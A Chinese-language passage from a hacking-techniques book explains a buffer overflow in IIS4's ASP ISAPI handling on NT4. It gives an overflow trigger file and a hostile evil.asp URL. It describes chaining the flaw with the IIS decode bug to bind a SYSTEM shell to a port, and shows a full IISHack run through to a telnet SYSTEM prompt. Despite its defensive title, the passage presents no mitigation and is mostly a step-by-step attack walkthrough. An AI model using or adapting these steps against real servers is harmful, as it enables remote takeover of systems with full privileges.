黑客攻防技术内幕-防止入侵的方法(10)
6.7 ASP ISAPI缓冲区溢出攻击
1. 漏洞介绍:
在IIS (Internet Information Server) ASP ISAPI文件解析机制中存在缓冲区溢出,它可以被用来获得System级的访问。
这是本地漏洞,入侵者只需要创建一个.asp文件作为牺牲品。当IIS解析它的时候导致inetinfo.exe缓冲区溢出,从而允许入侵者以System权限控制本地服务器。
那么,受此影响的将是任何运行多个客户NT4 IIS4 Web服务器的网络公司或Internet服务供应商。主要说来,任何可以更新网站的客户(或攻击者)上传一个新的default.asp或anything.asp,都可以执行System执行代码来完全控制目标服务器。入侵者可以对那台服务器的其他任何客户站点做任何事情,同时他们还可以安装sniffer或破解口令以扩大他们在网络中的战果。
只要在网络主机公司购买一个账号,入侵者上传evil.asp并用IE从自己的网站请求这个evil.asp,http://www.badguy.com/evil.asp,并且在那台服务器上以System执行他的代码。
这里是一个.asp文件导致NT4+IIS4的inetinfo.exe溢出的例子:
----start-cut-of-example.asp----
<SCRIPT LANGUAGE="[buffer]" RUNAT="Server">
</SCRIPT>
----start-cut-of-example.asp----
注意:
[buffer]是2220 字母或更多。
这个溢出可以利用,看下面的部分:
例如:
服务器有个写入时不过滤Script命令的.asp来客登记/留言板系统系统。因此入侵者可以进入拥有【在此输入你的信息:】文本框的页面(或者更多),他们只需要粘贴这些溢出代码并提交信息(内含溢出信息),就会导致IIS解析这个.asp文件时溢出,并执行他们的 代码。
另外,入侵者可以将这个攻击技术与最近的IIS解码漏洞结合起来,使用cmd.exe echo自己的evil.asp内容到远程系统,然后当入侵者请求evil.asp时,入侵者的代码将被以System权限执行。事实上,他们已经构造了一个漏洞实例来表明这个.asp语言溢出,并且可以一起使用IIS解码漏洞,危及任何没有及时安装补丁程序的Windows NT 4.0服务器。
由于这个攻击悄无声息,所以很有可能防火墙不能抵御类似的攻击。
漏洞:
如何远程攻击系统呢?可以使用IIS解码漏洞+.asp语言溢出漏洞。
如果不熟悉IIS解码漏洞,最起码它允许透过IIS以IUSR_MACHINE的权限远程执行命令。因为入侵者可以通过cmd.exe执行命令,他们可以试着让远程主机连接到外部的FTP服务器获取文件(似乎优先考虑IISHack),但只能以IUSR_MACHINE的权限执行命令。这个漏洞通过使用IIS解码漏洞工作,echo他们的.asp文件(以shell代码结束,绑定cmd.exe到一个端口至一个远程服务器,并请求访问这个文件,然后导致inetinfo.exe溢出,将一个System级特权cmd.exe绑定到一个特殊端口)。在很多情况下入侵者应该拥有恰当的cmd.exe的访问控制(这将不允许IUSR_MACHINE访问)就像其他的安全措施一样,因此他们应该知道这个漏洞在一个安全的系统里是不会工作的。然而,这仅仅是从理论上讲的,大多数IIS服务器并没有恰当的本地安全措施。该漏洞的利用具体如下:
C:\we are still hiring good programmers> iishack1.5.exe
IISHack Version 1.5
eEye Digital Security
http://www.eEye.com
Code By: Ryan Permeh & Marc Maiffret
eEye Digital Security takes no responsibility for use of this code.
It is for educational purposes only.
Usage: IISHack1.5 [server] [server-port] [trojan-port]
C:\send resume to hire@eeye.com> iishack1.5.exe www.[yourowncompany].com 80 6969
IISHack Version 1.5
eEye Digital Security
http://www.eEye.com
Code By: Ryan Permeh & Marc Maiffret
eEye Digital Security takes no responsibility for use of this code.
It is for educational purposes only.
Attempting to find an executable directory...
Trying directory [scripts]
Executable directory found. [scripts]
Path to executable directory is [C:\Inetpub\scripts]
Moving cmd.exe from winnt\system32 to C:\Inetpub\scripts.
Successfully moved cmd.exe to C:\Inetpub\scripts\eeyehack.exe
Sending the exploit...
Exploit sent! Now telnet to www.[yourowncompany].com on port 6969 and you
should get a cmd prompt.
C:\> telnet www.[yourowncompany].com 6969
Trying www.[yourowncompany].com...
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\WINNT\system32>whoami
NT AUTHORITY\SYSTEM